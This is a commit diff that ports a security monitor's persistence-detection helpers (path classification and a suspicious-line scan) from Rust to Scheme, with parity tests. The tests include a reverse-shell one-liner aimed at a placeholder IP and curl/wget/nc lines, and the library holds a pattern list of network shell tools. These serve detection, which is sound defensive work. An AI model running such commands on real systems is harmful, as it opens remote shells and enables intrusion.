Port monitor/persistence pure helpers to untyped Jerboa

ober

a65c6dfc91aedccfe28697dc0d7fe85344873c56

diff --git a/Makefile b/Makefile
index 6f0d820..444aede 100644
--- a/Makefile
+++ b/Makefile
@@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme
 BUILD  ?= build/rust
 TYPED  := $(wildcard typed/*.ss)
 
-.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check checks clean
+.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check checks clean
 # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon
 # (a second --libdirs would replace, not append, the jerboa one).
 LIBDIRS := "$(JERBOA)/lib:$(CURDIR)"
@@ -195,6 +195,13 @@ config-check:
 event-danger-check:
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/event_danger_check.ss
 
+# Persistence detection helpers (secmon monitor/persistence.rs): classify_path
+# (path -> persistence-type, ordered first-match) and extract_suspicious_content
+# (first suspicious line, truncated; faithfully preserves the dead uppercase
+# patterns). Pure — file walking is the deferred I/O — no native lib.
+persistence-check:
+	$(SCHEME) --libdirs $(LIBDIRS) --script examples/persistence_check.ss
+
 # Everything that runs through the Jerboa side of the bridge, one shot.
 checks: kernels-check
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss
diff --git a/README.md b/README.md
index 6952669..6a904d2 100644
--- a/README.md
+++ b/README.md
@@ -46,6 +46,7 @@ make freebsd-parse-check # FreeBSD kldstat row + sockstat addr:port (decimal, wi
 make event-meta-check # event-type -> display severity + coarse store-priority u8 tables
 make config-check    # AgentConfig defaults + from_env merge + platform db/key paths
 make event-danger-check # mount is_dangerous + capability dangerous_caps predicates
+make persistence-check # classify_path (-> persistence type) + suspicious-content line scan
 make checks          # every Jerboa-side check in one shot
 ```
 
@@ -118,5 +119,6 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage).
 | `event_json` + `local_store` (tables) | `jsecmon/event-meta.ss` | ✅ **untyped layer** — the pure classification tables lifted out of the payload-carrying `EventType` enum: `event_json.rs` `get_event_json_data`'s **display severity** (25 constant arms as a name→severity table, + the 7 payload-dependent arms as named helpers taking the deciding field — `auth`/`privilege_change`/`mount`/`capability`/`podman`/`selinux`/`lateral_movement`), and `local_store.rs` `event_severity_u8`'s **coarse store priority** 0..3, which is an *independent* scale (e.g. `privilege_escalation` is `critical` for display but `0` for the store). secmon has no `#[test]` here, so `make event-meta-check` asserts both full tables arm-for-arm against the Rust source. (The JSON payload bodies stay with the I/O layer that owns the event structs.) |
 | `config` | `jsecmon/config.ss` | ✅ **untyped layer** — `AgentConfig`'s pure parts: the defaults (`0.0.0.0:31337`, poll `100`ms, buffer `10000`), the `from_env` merge (overwrites `listen_addr` on any present value but only overwrites poll/buffer when the value parses as strict u64 — a bad value **keeps the default**, it is not zeroed), and `local_db_path`/`local_key_path` (env override, else `/opt/secmon/{events.db,local.key}` on linux+freebsd, else the `./secmon_*` cwd fallback). Parameterized over a `getenv` callback + a `platform` symbol so the env reads stay deferred I/O; the build.rs-embedded secrets (`get_public_key`/`get_psk`/`is_debug_mode`) belong to the build/FFI phase, not this layer. secmon has no tests here, so `make config-check` asserts the behaviour against the Rust source. |
 | `monitor/events` (danger predicates) | `jsecmon/event-danger.ss` | ✅ **untyped layer** — the payload predicates that drive a mount/capability event's severity, lifted off their structs: `MountEventInfo::is_dangerous` (`mount-danger-reason source target` → reason string, with the faithful corner that the `/` source entry's prefix is `//` so a plain `/foo` is **not** flagged, and dangerous *targets* match exact-only) and `CapabilityEventInfo::dangerous_caps` (`cap_effective` bits → cap names in the Rust push order, full u64 so bits 38/39 work). These compute the booleans `event-meta`'s mount/capability severity helpers consume. Pure, no native lib; `make event-danger-check` asserts against the Rust source. |
+| `monitor/persistence` (helpers) | `jsecmon/persistence.ss` | ✅ **untyped layer** — `classify_path` (path → `PersistenceType` symbol via an ordered first-match substring chain; `systemd` before `cron`, `.timer` vs service, and the shell-profile arm == the default) and `extract_suspicious_content` (first line matching `SUSPICIOUS_PATTERNS`, returned in original case, truncated to 200 chars + `...`). Faithfully preserves secmon's dead-pattern bug: the line is lowercased before `contains`, so the uppercase patterns `NOPASSWD`/`ALL=(ALL)` can never match. Pure — the directory walk + baseline hashing are the deferred I/O — no native lib; `make persistence-check` asserts against the Rust source. |
 | `monitor::dns_sniffer` (DNS wire parser + dedup) | `jsecmon/dns-sniffer.ss` | ✅ **untyped layer** — the platform-independent half of secmon's `src/monitor/dns_sniffer.rs`: the DNS wire-format parser (QNAME decoding with compression-pointer chasing capped at 128 steps, QTYPE→string, question + A/AAAA answer-RR extraction) and the 5s dedup / 30s cleanup state machine. Every bounds check is preserved — a truncated/malformed/looping packet yields `#f`, never a bad read. Pure byte parsing → untyped, like geoip. The AF_PACKET raw-socket capture + `/proc` PID lookup stay for the monitor I/O driver. `make dns-sniffer-check` reproduces secmon's parser + dedup tests (+ AAAA, qtype table, pointer-loop/qdcount guards). |
 | monitors / server / ebpf / dtrace | —  | ⏳ I/O+async+FFI, last           |
diff --git a/examples/persistence_check.ss b/examples/persistence_check.ss
new file mode 100644
index 0000000..aaf5d29
--- /dev/null
+++ b/examples/persistence_check.ss
@@ -0,0 +1,66 @@
+;;; Parity check for (jsecmon persistence) against secmon monitor/persistence.rs
+;;; (classify_path, extract_suspicious_content). secmon has no #[test] here, so
+;;; this derives expectations from the Rust source and IS the spec for the port.
+;;;
+;;;   scheme --libdirs "$JERBOA/lib:." --script examples/persistence_check.ss
+
+(import (jerboa prelude)
+        (jsecmon persistence))
+
+(def fails 0)
+(def (check name got want)
+  (let ((ok (equal? got want)))
+    (unless ok (set! fails (+ fails 1)))
+    (displayln (if ok "  ok   " "  FAIL ") name
+               (if ok "" (str "   got " got " want " want)))))
+
+;; ── classify_path ────────────────────────────────────────────────────────────
+(displayln "classify-path:")
+(check "systemd service" (classify-path "/etc/systemd/system/evil.service") 'systemd-service)
+(check "systemd timer"   (classify-path "/etc/systemd/system/evil.timer") 'systemd-timer)
+(check "init.d"          (classify-path "/etc/init.d/foo") 'init-script)
+(check "rc.d"            (classify-path "/usr/local/etc/rc.d/bar") 'init-script)
+(check "rc.local"        (classify-path "/etc/rc.local") 'rc-local)
+(check "cron"            (classify-path "/var/spool/cron/crontabs/root") 'cron-job)
+(check "ld.so.preload"   (classify-path "/etc/ld.so.preload") 'ld-preload)
+(check "authorized_keys" (classify-path "/home/u/.ssh/authorized_keys") 'ssh-authorized-key)
+(check "sudoers"         (classify-path "/etc/sudoers.d/evil") 'sudoers)
+(check ".bashrc -> shell" (classify-path "/home/u/.bashrc") 'shell-profile)
+(check "/profile -> shell" (classify-path "/etc/profile") 'shell-profile)
+(check ".bash_ -> shell"  (classify-path "/home/u/.bash_aliases") 'shell-profile)
+(check "unknown -> shell" (classify-path "/random/path") 'shell-profile)
+;; ordering: systemd checked before cron
+(check "systemd+cron -> systemd"
+       (classify-path "/etc/systemd/system/cron.service") 'systemd-service)
+
+;; ── extract_suspicious_content ───────────────────────────────────────────────
+(displayln "extract-suspicious-content:")
+(check "curl on 2nd line"
+       (extract-suspicious-content "echo hi\ncurl http://evil") "curl http://evil")
+(check "harmless -> #f"
+       (extract-suspicious-content "harmless line\nanother safe one") #f)
+(check "single reverse-shell line"
+       (extract-suspicious-content "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1")
+       "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1")
+;; case-insensitive match, but original case returned
+(check "CURL upper matches, original returned"
+       (extract-suspicious-content "CURL http://x") "CURL http://x")
+;; faithful dead patterns: NOPASSWD / ALL=(ALL) are uppercase -> never match
+(check "sudoers NOPASSWD line NOT matched (dead patterns)"
+       (extract-suspicious-content "Defaults root ALL=(ALL) NOPASSWD: ALL") #f)
+;; first matching LINE wins
+(check "first matching line"
+       (extract-suspicious-content "line1 safe\nline2 wget evil\nline3 curl evil")
+       "line2 wget evil")
+;; CRLF: the \r is stripped from the returned line
+(check "CRLF stripped"
+       (extract-suspicious-content "ok\r\nnc 1.2.3.4\r\n") "nc 1.2.3.4")
+;; >200 chars -> first 200 + "..."
+(check "truncate >200"
+       (extract-suspicious-content (str (make-string 205 #\x) "curl "))
+       (str (make-string 200 #\x) "..."))
+
+(newline)
+(if (= fails 0)
+    (displayln "OK: persistence matches secmon's persistence.rs helpers.")
+    (begin (displayln fails " FAILURES") (exit 1)))
diff --git a/jsecmon/persistence.ss b/jsecmon/persistence.ss
new file mode 100644
index 0000000..9caa770
--- /dev/null
+++ b/jsecmon/persistence.ss
@@ -0,0 +1,82 @@
+#!chezscheme
+;;; jsecmon persistence detection helpers (secmon monitor/persistence.rs), untyped.
+;;;
+;;; The pure helpers of secmon's PersistenceMonitor, with the file walking and
+;;; baseline hashing (the deferred I/O) stripped off:
+;;;   classify-path              : path     -> persistence-type symbol
+;;;   extract-suspicious-content : text     -> matching line (truncated) | #f
+;;;
+;;; persistence-type is one of: systemd-service systemd-timer init-script
+;;; rc-local cron-job shell-profile ld-preload ssh-authorized-key sudoers
+;;; (PersistenceType in src/monitor/events.rs).
+;;;
+;;; Faithfulness notes:
+;;;   * classify-path is an ORDERED first-match chain of substring tests; the
+;;;     ".bashrc/.profile/.zshrc//profile/.bash_" arm and the catch-all both
+;;;     yield shell-profile, so anything unmatched defaults to shell-profile.
+;;;     "systemd" is checked first (a path with both "systemd" and "cron" is
+;;;     systemd-*), and ".timer" only distinguishes timer from service.
+;;;   * extract-suspicious-content lowercases each line, then tests
+;;;     lower.contains(pattern). Two patterns ("NOPASSWD", "ALL=(ALL)") contain
+;;;     uppercase letters, so against an already-lowercased line they can NEVER
+;;;     match — this is faithful to secmon (the patterns are effectively dead).
+;;;     It returns the FIRST matching line in ORIGINAL case, truncated to 200
+;;;     chars + "..." when longer. secmon slices bytes ([..200]); this slices
+;;;     chars, identical for ASCII content. The pattern that matched doesn't
+;;;     affect the snippet, so pattern order is irrelevant; line order is not.
+;;;
+;;; secmon has no #[test] for these, so examples/persistence_check.ss derives
+;;; every expectation from the Rust source and IS the spec for this port.
+
+(library (jsecmon persistence)
+  (export classify-path extract-suspicious-content *suspicious-patterns*)
+  (import (except (chezscheme)
+                  make-hash-table hash-table?
+                  sort sort!
+                  printf fprintf
+                  path-extension path-absolute?
+                  with-input-from-string with-output-to-string
+                  iota 1+ 1-
+                  partition
+                  make-date make-time)
+          (except (jerboa prelude) meta atom?))
+
+  ;; PersistenceMonitor::classify_path — ordered first-match.
+  (def (classify-path path)
+    (cond
+      ((string-contains path "systemd")
+       (if (string-suffix? ".timer" path) 'systemd-timer 'systemd-service))
+      ((or (string-contains path "init.d") (string-contains path "rc.d")) 'init-script)
+      ((string-contains path "rc.local") 'rc-local)
+      ((string-contains path "cron") 'cron-job)
+      ((string-contains path "ld.so.preload") 'ld-preload)
+      ((string-contains path "authorized_keys") 'ssh-authorized-key)
+      ((string-contains path "sudoers") 'sudoers)
+      (else 'shell-profile)))   ;; .bashrc/.profile/.zshrc//profile/.bash_ + default
+
+  ;; SUSPICIOUS_PATTERNS (obfstr! literals, decoded). "NOPASSWD"/"ALL=(ALL)" keep
+  ;; their uppercase deliberately — they are dead against a lowercased line.
+  (def *suspicious-patterns*
+    '("curl " "wget " "nc " "ncat " "netcat " "/dev/tcp/" "/dev/udp/" "bash -i" "sh -i"
+      "python -c" "perl -e" "ruby -e" "php -r" "base64" "eval(" "exec(" "|bash" "|sh"
+      "chmod +x" "chmod 777" "chmod 755" "crontab" "0.0.0.0" "reverse" "shell"
+      "NOPASSWD" "ALL=(ALL)" "visudo"))
+
+  (def (strip-cr line)
+    (if (string-suffix? "\r" line)
+        (substring line 0 (- (string-length line) 1))
+        line))
+
+  ;; PersistenceMonitor::extract_suspicious_content.
+  (def (extract-suspicious-content text)
+    (let loop ((lines (map strip-cr (string-split text #\newline))))
+      (cond
+        ((null? lines) #f)
+        (else
+         (let* ((line (car lines))
+                (lower (string-downcase line)))
+           (if (for/or ((p *suspicious-patterns*)) (string-contains lower p))
+               (if (> (string-length line) 200)
+                   (str (substring line 0 200) "...")
+                   line)
+               (loop (cdr lines)))))))))